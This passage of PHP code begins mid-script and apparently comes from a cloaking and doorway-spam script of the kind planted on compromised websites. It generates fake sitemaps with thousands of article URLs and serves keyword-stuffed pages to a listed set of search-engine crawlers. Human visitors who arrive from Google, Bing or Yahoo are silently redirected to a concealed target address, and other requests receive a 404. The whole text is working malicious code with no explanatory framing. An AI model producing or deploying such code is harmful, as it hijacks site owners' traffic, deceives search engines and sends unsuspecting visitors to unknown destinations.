$j = json_decode(file_get_contents($pf), true); if (is_array($j)) { $pool = $j; } } $kw = isset($pool['kw']) ? $pool['kw'] : array(); $art = isset($pool['art']) ? $pool['art'] : array(); $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; $base = 'https://' . $host; $sdate = '20260831'; if ($uri === '/robots.txt') { header('Content-Type: text/plain; charset=utf-8'); echo "User-agent: *\nDisallow:\nSitemap: " . $base . "/sitemap.xml"; exit; } if ($uri === '/sitemap.xml') { header('Content-Type: application/xml; charset=utf-8'); echo ''; $nk = ceil(count($kw) / 1000); $na = ceil(count($art) / 1000); for ($i = 1; $i <= $nk; $i++) { echo '' . $base . '/sitemap-k-' . $i . '.xml'; } for ($i = 1; $i <= $na; $i++) { echo '' . $base . '/sitemap-a-' . $i . '.xml'; } echo ''; exit; } if (preg_match('#^/sitemap-(k|a)-([0-9]+)\.xml$#', $uri, $sm)) { $list = ($sm[1] === 'k') ? $kw : $art; $page = (int) $sm[2]; $slice = array_slice($list, ($page - 1) * 1000, 1000); header('Content-Type: application/xml; charset=utf-8'); echo ''; foreach ($slice as $i => $it) { $seq = ($page - 1) * 1000 + $i; $code = str_pad(base_convert($seq, 10, 36), 10, '0', STR_PAD_LEFT); echo '' . $base . '/artikel/' . $sdate . '/' . $code . '.html'; } echo ''; exit; } if (!preg_match('#/artikel/([0-9]{8})/([a-z0-9]{10})\.html#', $uri, $m)) { http_response_code(404); exit; } $code = $m[2]; $sp = 0; $bots = array('googlebot','bingbot','baiduspider','yandex','sogou','duckduck','slurp','facebookexternalhit','twitterbot','applebot','petalbot','bytespider'); foreach ($bots as $b) { if (strpos($ua, $b) !== false) { $sp = 1; break; } } if ($sp) { $h = crc32($code); $type = ($h & 1) ? 'art' : 'kw'; $list = ($type === 'art') ? $art : $kw; if (!$list) { $list = array(array('t' => '', 'c' => '')); } $idx = abs($h) % count($list); $it = $list[$idx]; $t = isset($it['t']) ? $it['t'] : ''; $c = isset($it['c']) ? $it['c'] : ''; echo '' . $t . '

' . $t . '

' . $c . '
'; exit; } if (strpos($ref, 'google') !== false || strpos($ref, 'bing.') !== false || strpos($ref, 'yahoo') !== false) { header('Location: ' . $TARGET, true, 302); exit; } http_response_code(404); exit;